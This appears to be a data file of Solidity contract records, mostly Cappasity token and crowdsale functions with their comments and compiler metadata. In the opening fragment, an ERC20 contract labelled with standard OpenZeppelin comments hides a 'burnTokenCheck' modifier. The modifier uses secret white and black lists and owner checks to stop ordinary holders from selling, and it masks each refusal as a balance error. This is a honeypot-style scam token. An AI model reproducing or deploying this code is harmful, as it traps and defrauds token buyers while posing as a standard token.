require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | _beforeTokenTransfer | function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
| /**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
13681,
13778
]
} | 4,254 |
TokenAllocation | TokenAllocation.sol | 0xf67acb7b9226e482afcf7f08aac9466c50c19d9c | Solidity | GenericCrowdsale | contract GenericCrowdsale {
address public icoBackend;
address public icoManager;
address public emergencyManager;
// paused state
bool paused = false;
/**
* @dev Confirms that token issuance for an off-chain purchase was processed successfully.
* @param _beneficiary Token holder.
* @param _contribution Money received (in USD cents). Copied from issueTokens call arguments.
* @param _tokensIssued The amount of tokens that was assigned to the holder, not counting bonuses.
*/
event TokensAllocated(address _beneficiary, uint _contribution, uint _tokensIssued);
/**
* @dev Notifies about bonus token issuance. Is raised even if the bonus is 0.
* @param _beneficiary Token holder.
* @param _bonusTokensIssued The amount of bonus tokens that was assigned to the holder.
*/
event BonusIssued(address _beneficiary, uint _bonusTokensIssued);
/**
* @dev Issues tokens for founders and partners and closes the current phase.
* @param foundersWallet Wallet address holding the vested tokens.
* @param tokensForFounders The amount of tokens vested for founders.
* @param partnersWallet Wallet address holding the tokens for early contributors.
* @param tokensForPartners The amount of tokens issued for rewarding early contributors.
*/
event FoundersAndPartnersTokensIssued(address foundersWallet, uint tokensForFounders,
address partnersWallet, uint tokensForPartners);
event Paused();
event Unpaused();
/**
* @dev Issues tokens for the off-chain contributors by accepting calls from the trusted address.
* Supposed to be run by the backend.
* @param _beneficiary Token holder.
* @param _contribution The equivalent (in USD cents) of the contribution received off-chain.
*/
function issueTokens(address _beneficiary, uint _contribution) onlyBackend onlyUnpaused external;
/**
* @dev Issues tokens for the off-chain contributors by accepting calls from the trusted address.
* Supposed to be run by the backend.
* @param _beneficiary Token holder.
* @param _contribution The equivalent (in USD cents) of the contribution received off-chain.
* @param _tokens Total Tokens to issue for the contribution, must be > 0
* @param _bonus How many tokens are bonuses, less or equal to _tokens
*/
function issueTokensWithCustomBonus(address _beneficiary, uint _contribution, uint _tokens, uint _bonus) onlyBackend onlyUnpaused external;
/**
* @dev Pauses the token allocation process.
*/
function pause() external onlyManager onlyUnpaused {
paused = true;
Paused();
}
/**
* @dev Unpauses the token allocation process.
*/
function unpause() external onlyManager onlyPaused {
paused = false;
Unpaused();
}
/**
* @dev Allows the manager to change backends.
*/
function changeicoBackend(address _icoBackend) external onlyManager {
icoBackend = _icoBackend;
}
/**
* @dev Modifiers
*/
modifier onlyManager() {
require(msg.sender == icoManager);
_;
}
modifier onlyBackend() {
require(msg.sender == icoBackend);
_;
}
modifier onlyEmergency() {
require(msg.sender == emergencyManager);
_;
}
modifier onlyPaused() {
require(paused == true);
_;
}
modifier onlyUnpaused() {
require(paused == false);
_;
}
} | issueTokens | function issueTokens(address _beneficiary, uint _contribution) onlyBackend onlyUnpaused external;
| /**
* @dev Issues tokens for the off-chain contributors by accepting calls from the trusted address.
* Supposed to be run by the backend.
* @param _beneficiary Token holder.
* @param _contribution The equivalent (in USD cents) of the contribution received off-chain.
*/ | NatSpecMultiLine | v0.4.18+commit.9cf6e910 | bzzr://aae7252a04d75dd9b6180657454476c6b715329f50bb603876154f65c5a464a0 | {
"func_code_index": [
1920,
2022
]
} | 4,255 |
|||
TokenAllocation | TokenAllocation.sol | 0xf67acb7b9226e482afcf7f08aac9466c50c19d9c | Solidity | GenericCrowdsale | contract GenericCrowdsale {
address public icoBackend;
address public icoManager;
address public emergencyManager;
// paused state
bool paused = false;
/**
* @dev Confirms that token issuance for an off-chain purchase was processed successfully.
* @param _beneficiary Token holder.
* @param _contribution Money received (in USD cents). Copied from issueTokens call arguments.
* @param _tokensIssued The amount of tokens that was assigned to the holder, not counting bonuses.
*/
event TokensAllocated(address _beneficiary, uint _contribution, uint _tokensIssued);
/**
* @dev Notifies about bonus token issuance. Is raised even if the bonus is 0.
* @param _beneficiary Token holder.
* @param _bonusTokensIssued The amount of bonus tokens that was assigned to the holder.
*/
event BonusIssued(address _beneficiary, uint _bonusTokensIssued);
/**
* @dev Issues tokens for founders and partners and closes the current phase.
* @param foundersWallet Wallet address holding the vested tokens.
* @param tokensForFounders The amount of tokens vested for founders.
* @param partnersWallet Wallet address holding the tokens for early contributors.
* @param tokensForPartners The amount of tokens issued for rewarding early contributors.
*/
event FoundersAndPartnersTokensIssued(address foundersWallet, uint tokensForFounders,
address partnersWallet, uint tokensForPartners);
event Paused();
event Unpaused();
/**
* @dev Issues tokens for the off-chain contributors by accepting calls from the trusted address.
* Supposed to be run by the backend.
* @param _beneficiary Token holder.
* @param _contribution The equivalent (in USD cents) of the contribution received off-chain.
*/
function issueTokens(address _beneficiary, uint _contribution) onlyBackend onlyUnpaused external;
/**
* @dev Issues tokens for the off-chain contributors by accepting calls from the trusted address.
* Supposed to be run by the backend.
* @param _beneficiary Token holder.
* @param _contribution The equivalent (in USD cents) of the contribution received off-chain.
* @param _tokens Total Tokens to issue for the contribution, must be > 0
* @param _bonus How many tokens are bonuses, less or equal to _tokens
*/
function issueTokensWithCustomBonus(address _beneficiary, uint _contribution, uint _tokens, uint _bonus) onlyBackend onlyUnpaused external;
/**
* @dev Pauses the token allocation process.
*/
function pause() external onlyManager onlyUnpaused {
paused = true;
Paused();
}
/**
* @dev Unpauses the token allocation process.
*/
function unpause() external onlyManager onlyPaused {
paused = false;
Unpaused();
}
/**
* @dev Allows the manager to change backends.
*/
function changeicoBackend(address _icoBackend) external onlyManager {
icoBackend = _icoBackend;
}
/**
* @dev Modifiers
*/
modifier onlyManager() {
require(msg.sender == icoManager);
_;
}
modifier onlyBackend() {
require(msg.sender == icoBackend);
_;
}
modifier onlyEmergency() {
require(msg.sender == emergencyManager);
_;
}
modifier onlyPaused() {
require(paused == true);
_;
}
modifier onlyUnpaused() {
require(paused == false);
_;
}
} | issueTokensWithCustomBonus | function issueTokensWithCustomBonus(address _beneficiary, uint _contribution, uint _tokens, uint _bonus) onlyBackend onlyUnpaused external;
| /**
* @dev Issues tokens for the off-chain contributors by accepting calls from the trusted address.
* Supposed to be run by the backend.
* @param _beneficiary Token holder.
* @param _contribution The equivalent (in USD cents) of the contribution received off-chain.
* @param _tokens Total Tokens to issue for the contribution, must be > 0
* @param _bonus How many tokens are bonuses, less or equal to _tokens
*/ | NatSpecMultiLine | v0.4.18+commit.9cf6e910 | bzzr://aae7252a04d75dd9b6180657454476c6b715329f50bb603876154f65c5a464a0 | {
"func_code_index": [
2490,
2634
]
} | 4,256 |
|||
TokenAllocation | TokenAllocation.sol | 0xf67acb7b9226e482afcf7f08aac9466c50c19d9c | Solidity | GenericCrowdsale | contract GenericCrowdsale {
address public icoBackend;
address public icoManager;
address public emergencyManager;
// paused state
bool paused = false;
/**
* @dev Confirms that token issuance for an off-chain purchase was processed successfully.
* @param _beneficiary Token holder.
* @param _contribution Money received (in USD cents). Copied from issueTokens call arguments.
* @param _tokensIssued The amount of tokens that was assigned to the holder, not counting bonuses.
*/
event TokensAllocated(address _beneficiary, uint _contribution, uint _tokensIssued);
/**
* @dev Notifies about bonus token issuance. Is raised even if the bonus is 0.
* @param _beneficiary Token holder.
* @param _bonusTokensIssued The amount of bonus tokens that was assigned to the holder.
*/
event BonusIssued(address _beneficiary, uint _bonusTokensIssued);
/**
* @dev Issues tokens for founders and partners and closes the current phase.
* @param foundersWallet Wallet address holding the vested tokens.
* @param tokensForFounders The amount of tokens vested for founders.
* @param partnersWallet Wallet address holding the tokens for early contributors.
* @param tokensForPartners The amount of tokens issued for rewarding early contributors.
*/
event FoundersAndPartnersTokensIssued(address foundersWallet, uint tokensForFounders,
address partnersWallet, uint tokensForPartners);
event Paused();
event Unpaused();
/**
* @dev Issues tokens for the off-chain contributors by accepting calls from the trusted address.
* Supposed to be run by the backend.
* @param _beneficiary Token holder.
* @param _contribution The equivalent (in USD cents) of the contribution received off-chain.
*/
function issueTokens(address _beneficiary, uint _contribution) onlyBackend onlyUnpaused external;
/**
* @dev Issues tokens for the off-chain contributors by accepting calls from the trusted address.
* Supposed to be run by the backend.
* @param _beneficiary Token holder.
* @param _contribution The equivalent (in USD cents) of the contribution received off-chain.
* @param _tokens Total Tokens to issue for the contribution, must be > 0
* @param _bonus How many tokens are bonuses, less or equal to _tokens
*/
function issueTokensWithCustomBonus(address _beneficiary, uint _contribution, uint _tokens, uint _bonus) onlyBackend onlyUnpaused external;
/**
* @dev Pauses the token allocation process.
*/
function pause() external onlyManager onlyUnpaused {
paused = true;
Paused();
}
/**
* @dev Unpauses the token allocation process.
*/
function unpause() external onlyManager onlyPaused {
paused = false;
Unpaused();
}
/**
* @dev Allows the manager to change backends.
*/
function changeicoBackend(address _icoBackend) external onlyManager {
icoBackend = _icoBackend;
}
/**
* @dev Modifiers
*/
modifier onlyManager() {
require(msg.sender == icoManager);
_;
}
modifier onlyBackend() {
require(msg.sender == icoBackend);
_;
}
modifier onlyEmergency() {
require(msg.sender == emergencyManager);
_;
}
modifier onlyPaused() {
require(paused == true);
_;
}
modifier onlyUnpaused() {
require(paused == false);
_;
}
} | pause | function pause() external onlyManager onlyUnpaused {
paused = true;
Paused();
}
| /**
* @dev Pauses the token allocation process.
*/ | NatSpecMultiLine | v0.4.18+commit.9cf6e910 | bzzr://aae7252a04d75dd9b6180657454476c6b715329f50bb603876154f65c5a464a0 | {
"func_code_index": [
2705,
2812
]
} | 4,257 |
|||
TokenAllocation | TokenAllocation.sol | 0xf67acb7b9226e482afcf7f08aac9466c50c19d9c | Solidity | GenericCrowdsale | contract GenericCrowdsale {
address public icoBackend;
address public icoManager;
address public emergencyManager;
// paused state
bool paused = false;
/**
* @dev Confirms that token issuance for an off-chain purchase was processed successfully.
* @param _beneficiary Token holder.
* @param _contribution Money received (in USD cents). Copied from issueTokens call arguments.
* @param _tokensIssued The amount of tokens that was assigned to the holder, not counting bonuses.
*/
event TokensAllocated(address _beneficiary, uint _contribution, uint _tokensIssued);
/**
* @dev Notifies about bonus token issuance. Is raised even if the bonus is 0.
* @param _beneficiary Token holder.
* @param _bonusTokensIssued The amount of bonus tokens that was assigned to the holder.
*/
event BonusIssued(address _beneficiary, uint _bonusTokensIssued);
/**
* @dev Issues tokens for founders and partners and closes the current phase.
* @param foundersWallet Wallet address holding the vested tokens.
* @param tokensForFounders The amount of tokens vested for founders.
* @param partnersWallet Wallet address holding the tokens for early contributors.
* @param tokensForPartners The amount of tokens issued for rewarding early contributors.
*/
event FoundersAndPartnersTokensIssued(address foundersWallet, uint tokensForFounders,
address partnersWallet, uint tokensForPartners);
event Paused();
event Unpaused();
/**
* @dev Issues tokens for the off-chain contributors by accepting calls from the trusted address.
* Supposed to be run by the backend.
* @param _beneficiary Token holder.
* @param _contribution The equivalent (in USD cents) of the contribution received off-chain.
*/
function issueTokens(address _beneficiary, uint _contribution) onlyBackend onlyUnpaused external;
/**
* @dev Issues tokens for the off-chain contributors by accepting calls from the trusted address.
* Supposed to be run by the backend.
* @param _beneficiary Token holder.
* @param _contribution The equivalent (in USD cents) of the contribution received off-chain.
* @param _tokens Total Tokens to issue for the contribution, must be > 0
* @param _bonus How many tokens are bonuses, less or equal to _tokens
*/
function issueTokensWithCustomBonus(address _beneficiary, uint _contribution, uint _tokens, uint _bonus) onlyBackend onlyUnpaused external;
/**
* @dev Pauses the token allocation process.
*/
function pause() external onlyManager onlyUnpaused {
paused = true;
Paused();
}
/**
* @dev Unpauses the token allocation process.
*/
function unpause() external onlyManager onlyPaused {
paused = false;
Unpaused();
}
/**
* @dev Allows the manager to change backends.
*/
function changeicoBackend(address _icoBackend) external onlyManager {
icoBackend = _icoBackend;
}
/**
* @dev Modifiers
*/
modifier onlyManager() {
require(msg.sender == icoManager);
_;
}
modifier onlyBackend() {
require(msg.sender == icoBackend);
_;
}
modifier onlyEmergency() {
require(msg.sender == emergencyManager);
_;
}
modifier onlyPaused() {
require(paused == true);
_;
}
modifier onlyUnpaused() {
require(paused == false);
_;
}
} | unpause | function unpause() external onlyManager onlyPaused {
paused = false;
Unpaused();
}
| /**
* @dev Unpauses the token allocation process.
*/ | NatSpecMultiLine | v0.4.18+commit.9cf6e910 | bzzr://aae7252a04d75dd9b6180657454476c6b715329f50bb603876154f65c5a464a0 | {
"func_code_index": [
2885,
2995
]
} | 4,258 |
|||
TokenAllocation | TokenAllocation.sol | 0xf67acb7b9226e482afcf7f08aac9466c50c19d9c | Solidity | GenericCrowdsale | contract GenericCrowdsale {
address public icoBackend;
address public icoManager;
address public emergencyManager;
// paused state
bool paused = false;
/**
* @dev Confirms that token issuance for an off-chain purchase was processed successfully.
* @param _beneficiary Token holder.
* @param _contribution Money received (in USD cents). Copied from issueTokens call arguments.
* @param _tokensIssued The amount of tokens that was assigned to the holder, not counting bonuses.
*/
event TokensAllocated(address _beneficiary, uint _contribution, uint _tokensIssued);
/**
* @dev Notifies about bonus token issuance. Is raised even if the bonus is 0.
* @param _beneficiary Token holder.
* @param _bonusTokensIssued The amount of bonus tokens that was assigned to the holder.
*/
event BonusIssued(address _beneficiary, uint _bonusTokensIssued);
/**
* @dev Issues tokens for founders and partners and closes the current phase.
* @param foundersWallet Wallet address holding the vested tokens.
* @param tokensForFounders The amount of tokens vested for founders.
* @param partnersWallet Wallet address holding the tokens for early contributors.
* @param tokensForPartners The amount of tokens issued for rewarding early contributors.
*/
event FoundersAndPartnersTokensIssued(address foundersWallet, uint tokensForFounders,
address partnersWallet, uint tokensForPartners);
event Paused();
event Unpaused();
/**
* @dev Issues tokens for the off-chain contributors by accepting calls from the trusted address.
* Supposed to be run by the backend.
* @param _beneficiary Token holder.
* @param _contribution The equivalent (in USD cents) of the contribution received off-chain.
*/
function issueTokens(address _beneficiary, uint _contribution) onlyBackend onlyUnpaused external;
/**
* @dev Issues tokens for the off-chain contributors by accepting calls from the trusted address.
* Supposed to be run by the backend.
* @param _beneficiary Token holder.
* @param _contribution The equivalent (in USD cents) of the contribution received off-chain.
* @param _tokens Total Tokens to issue for the contribution, must be > 0
* @param _bonus How many tokens are bonuses, less or equal to _tokens
*/
function issueTokensWithCustomBonus(address _beneficiary, uint _contribution, uint _tokens, uint _bonus) onlyBackend onlyUnpaused external;
/**
* @dev Pauses the token allocation process.
*/
function pause() external onlyManager onlyUnpaused {
paused = true;
Paused();
}
/**
* @dev Unpauses the token allocation process.
*/
function unpause() external onlyManager onlyPaused {
paused = false;
Unpaused();
}
/**
* @dev Allows the manager to change backends.
*/
function changeicoBackend(address _icoBackend) external onlyManager {
icoBackend = _icoBackend;
}
/**
* @dev Modifiers
*/
modifier onlyManager() {
require(msg.sender == icoManager);
_;
}
modifier onlyBackend() {
require(msg.sender == icoBackend);
_;
}
modifier onlyEmergency() {
require(msg.sender == emergencyManager);
_;
}
modifier onlyPaused() {
require(paused == true);
_;
}
modifier onlyUnpaused() {
require(paused == false);
_;
}
} | changeicoBackend | function changeicoBackend(address _icoBackend) external onlyManager {
icoBackend = _icoBackend;
}
| /**
* @dev Allows the manager to change backends.
*/ | NatSpecMultiLine | v0.4.18+commit.9cf6e910 | bzzr://aae7252a04d75dd9b6180657454476c6b715329f50bb603876154f65c5a464a0 | {
"func_code_index": [
3068,
3184
]
} | 4,259 |
|||
TokenAllocation | TokenAllocation.sol | 0xf67acb7b9226e482afcf7f08aac9466c50c19d9c | Solidity | Cappasity | contract Cappasity is StandardToken {
// Constants
// =========
string public constant name = "Cappasity";
string public constant symbol = "CAPP";
uint8 public constant decimals = 2;
uint public constant TOKEN_LIMIT = 10 * 1e9 * 1e2; // 10 billion tokens, 2 decimals
// State variables
// ===============
address public manager;
// Block token transfers until ICO is finished.
bool public tokensAreFrozen = true;
// Allow/Disallow minting
bool public mintingIsAllowed = true;
// events for minting
event MintingAllowed();
event MintingDisabled();
// Freeze/Unfreeze assets
event TokensFrozen();
event TokensUnfrozen();
// Constructor
// ===========
function Cappasity(address _manager) public {
manager = _manager;
}
// Fallback function
// Do not allow to send money directly to this contract
function() payable public {
revert();
}
// ERC20 functions
// =========================
function transfer(address _to, uint _value) public returns (bool) {
require(!tokensAreFrozen);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) public returns (bool) {
require(!tokensAreFrozen);
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint _value) public returns (bool) {
require(!tokensAreFrozen);
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
require(!tokensAreFrozen);
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
require(!tokensAreFrozen);
return super.decreaseApproval(_spender, _subtractedValue);
}
// PRIVILEGED FUNCTIONS
// ====================
modifier onlyByManager() {
require(msg.sender == manager);
_;
}
// Mint some tokens and assign them to an address
function mint(address _beneficiary, uint _value) external onlyByManager {
require(_value != 0);
require(totalSupply.add(_value) <= TOKEN_LIMIT);
require(mintingIsAllowed == true);
balances[_beneficiary] = balances[_beneficiary].add(_value);
totalSupply = totalSupply.add(_value);
}
// Disable minting. Can be enabled later, but TokenAllocation.sol only does that once.
function endMinting() external onlyByManager {
require(mintingIsAllowed == true);
mintingIsAllowed = false;
MintingDisabled();
}
// Enable minting. See TokenAllocation.sol
function startMinting() external onlyByManager {
require(mintingIsAllowed == false);
mintingIsAllowed = true;
MintingAllowed();
}
// Disable token transfer
function freeze() external onlyByManager {
require(tokensAreFrozen == false);
tokensAreFrozen = true;
TokensFrozen();
}
// Allow token transfer
function unfreeze() external onlyByManager {
require(tokensAreFrozen == true);
tokensAreFrozen = false;
TokensUnfrozen();
}
} | Cappasity | function Cappasity(address _manager) public {
manager = _manager;
}
| // Constructor
// =========== | LineComment | v0.4.18+commit.9cf6e910 | bzzr://aae7252a04d75dd9b6180657454476c6b715329f50bb603876154f65c5a464a0 | {
"func_code_index": [
769,
855
]
} | 4,260 |
|||
TokenAllocation | TokenAllocation.sol | 0xf67acb7b9226e482afcf7f08aac9466c50c19d9c | Solidity | Cappasity | contract Cappasity is StandardToken {
// Constants
// =========
string public constant name = "Cappasity";
string public constant symbol = "CAPP";
uint8 public constant decimals = 2;
uint public constant TOKEN_LIMIT = 10 * 1e9 * 1e2; // 10 billion tokens, 2 decimals
// State variables
// ===============
address public manager;
// Block token transfers until ICO is finished.
bool public tokensAreFrozen = true;
// Allow/Disallow minting
bool public mintingIsAllowed = true;
// events for minting
event MintingAllowed();
event MintingDisabled();
// Freeze/Unfreeze assets
event TokensFrozen();
event TokensUnfrozen();
// Constructor
// ===========
function Cappasity(address _manager) public {
manager = _manager;
}
// Fallback function
// Do not allow to send money directly to this contract
function() payable public {
revert();
}
// ERC20 functions
// =========================
function transfer(address _to, uint _value) public returns (bool) {
require(!tokensAreFrozen);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) public returns (bool) {
require(!tokensAreFrozen);
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint _value) public returns (bool) {
require(!tokensAreFrozen);
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
require(!tokensAreFrozen);
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
require(!tokensAreFrozen);
return super.decreaseApproval(_spender, _subtractedValue);
}
// PRIVILEGED FUNCTIONS
// ====================
modifier onlyByManager() {
require(msg.sender == manager);
_;
}
// Mint some tokens and assign them to an address
function mint(address _beneficiary, uint _value) external onlyByManager {
require(_value != 0);
require(totalSupply.add(_value) <= TOKEN_LIMIT);
require(mintingIsAllowed == true);
balances[_beneficiary] = balances[_beneficiary].add(_value);
totalSupply = totalSupply.add(_value);
}
// Disable minting. Can be enabled later, but TokenAllocation.sol only does that once.
function endMinting() external onlyByManager {
require(mintingIsAllowed == true);
mintingIsAllowed = false;
MintingDisabled();
}
// Enable minting. See TokenAllocation.sol
function startMinting() external onlyByManager {
require(mintingIsAllowed == false);
mintingIsAllowed = true;
MintingAllowed();
}
// Disable token transfer
function freeze() external onlyByManager {
require(tokensAreFrozen == false);
tokensAreFrozen = true;
TokensFrozen();
}
// Allow token transfer
function unfreeze() external onlyByManager {
require(tokensAreFrozen == true);
tokensAreFrozen = false;
TokensUnfrozen();
}
} | function() payable public {
revert();
}
| // Fallback function
// Do not allow to send money directly to this contract | LineComment | v0.4.18+commit.9cf6e910 | bzzr://aae7252a04d75dd9b6180657454476c6b715329f50bb603876154f65c5a464a0 | {
"func_code_index": [
945,
1003
]
} | 4,261 |
||||
TokenAllocation | TokenAllocation.sol | 0xf67acb7b9226e482afcf7f08aac9466c50c19d9c | Solidity | Cappasity | contract Cappasity is StandardToken {
// Constants
// =========
string public constant name = "Cappasity";
string public constant symbol = "CAPP";
uint8 public constant decimals = 2;
uint public constant TOKEN_LIMIT = 10 * 1e9 * 1e2; // 10 billion tokens, 2 decimals
// State variables
// ===============
address public manager;
// Block token transfers until ICO is finished.
bool public tokensAreFrozen = true;
// Allow/Disallow minting
bool public mintingIsAllowed = true;
// events for minting
event MintingAllowed();
event MintingDisabled();
// Freeze/Unfreeze assets
event TokensFrozen();
event TokensUnfrozen();
// Constructor
// ===========
function Cappasity(address _manager) public {
manager = _manager;
}
// Fallback function
// Do not allow to send money directly to this contract
function() payable public {
revert();
}
// ERC20 functions
// =========================
function transfer(address _to, uint _value) public returns (bool) {
require(!tokensAreFrozen);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) public returns (bool) {
require(!tokensAreFrozen);
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint _value) public returns (bool) {
require(!tokensAreFrozen);
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
require(!tokensAreFrozen);
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
require(!tokensAreFrozen);
return super.decreaseApproval(_spender, _subtractedValue);
}
// PRIVILEGED FUNCTIONS
// ====================
modifier onlyByManager() {
require(msg.sender == manager);
_;
}
// Mint some tokens and assign them to an address
function mint(address _beneficiary, uint _value) external onlyByManager {
require(_value != 0);
require(totalSupply.add(_value) <= TOKEN_LIMIT);
require(mintingIsAllowed == true);
balances[_beneficiary] = balances[_beneficiary].add(_value);
totalSupply = totalSupply.add(_value);
}
// Disable minting. Can be enabled later, but TokenAllocation.sol only does that once.
function endMinting() external onlyByManager {
require(mintingIsAllowed == true);
mintingIsAllowed = false;
MintingDisabled();
}
// Enable minting. See TokenAllocation.sol
function startMinting() external onlyByManager {
require(mintingIsAllowed == false);
mintingIsAllowed = true;
MintingAllowed();
}
// Disable token transfer
function freeze() external onlyByManager {
require(tokensAreFrozen == false);
tokensAreFrozen = true;
TokensFrozen();
}
// Allow token transfer
function unfreeze() external onlyByManager {
require(tokensAreFrozen == true);
tokensAreFrozen = false;
TokensUnfrozen();
}
} | transfer | function transfer(address _to, uint _value) public returns (bool) {
require(!tokensAreFrozen);
return super.transfer(_to, _value);
}
| // ERC20 functions
// ========================= | LineComment | v0.4.18+commit.9cf6e910 | bzzr://aae7252a04d75dd9b6180657454476c6b715329f50bb603876154f65c5a464a0 | {
"func_code_index": [
1064,
1224
]
} | 4,262 |
|||
TokenAllocation | TokenAllocation.sol | 0xf67acb7b9226e482afcf7f08aac9466c50c19d9c | Solidity | Cappasity | contract Cappasity is StandardToken {
// Constants
// =========
string public constant name = "Cappasity";
string public constant symbol = "CAPP";
uint8 public constant decimals = 2;
uint public constant TOKEN_LIMIT = 10 * 1e9 * 1e2; // 10 billion tokens, 2 decimals
// State variables
// ===============
address public manager;
// Block token transfers until ICO is finished.
bool public tokensAreFrozen = true;
// Allow/Disallow minting
bool public mintingIsAllowed = true;
// events for minting
event MintingAllowed();
event MintingDisabled();
// Freeze/Unfreeze assets
event TokensFrozen();
event TokensUnfrozen();
// Constructor
// ===========
function Cappasity(address _manager) public {
manager = _manager;
}
// Fallback function
// Do not allow to send money directly to this contract
function() payable public {
revert();
}
// ERC20 functions
// =========================
function transfer(address _to, uint _value) public returns (bool) {
require(!tokensAreFrozen);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) public returns (bool) {
require(!tokensAreFrozen);
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint _value) public returns (bool) {
require(!tokensAreFrozen);
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
require(!tokensAreFrozen);
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
require(!tokensAreFrozen);
return super.decreaseApproval(_spender, _subtractedValue);
}
// PRIVILEGED FUNCTIONS
// ====================
modifier onlyByManager() {
require(msg.sender == manager);
_;
}
// Mint some tokens and assign them to an address
function mint(address _beneficiary, uint _value) external onlyByManager {
require(_value != 0);
require(totalSupply.add(_value) <= TOKEN_LIMIT);
require(mintingIsAllowed == true);
balances[_beneficiary] = balances[_beneficiary].add(_value);
totalSupply = totalSupply.add(_value);
}
// Disable minting. Can be enabled later, but TokenAllocation.sol only does that once.
function endMinting() external onlyByManager {
require(mintingIsAllowed == true);
mintingIsAllowed = false;
MintingDisabled();
}
// Enable minting. See TokenAllocation.sol
function startMinting() external onlyByManager {
require(mintingIsAllowed == false);
mintingIsAllowed = true;
MintingAllowed();
}
// Disable token transfer
function freeze() external onlyByManager {
require(tokensAreFrozen == false);
tokensAreFrozen = true;
TokensFrozen();
}
// Allow token transfer
function unfreeze() external onlyByManager {
require(tokensAreFrozen == true);
tokensAreFrozen = false;
TokensUnfrozen();
}
} | mint | function mint(address _beneficiary, uint _value) external onlyByManager {
require(_value != 0);
require(totalSupply.add(_value) <= TOKEN_LIMIT);
require(mintingIsAllowed == true);
balances[_beneficiary] = balances[_beneficiary].add(_value);
totalSupply = totalSupply.add(_value);
}
| // Mint some tokens and assign them to an address | LineComment | v0.4.18+commit.9cf6e910 | bzzr://aae7252a04d75dd9b6180657454476c6b715329f50bb603876154f65c5a464a0 | {
"func_code_index": [
2206,
2544
]
} | 4,263 |
|||
TokenAllocation | TokenAllocation.sol | 0xf67acb7b9226e482afcf7f08aac9466c50c19d9c | Solidity | Cappasity | contract Cappasity is StandardToken {
// Constants
// =========
string public constant name = "Cappasity";
string public constant symbol = "CAPP";
uint8 public constant decimals = 2;
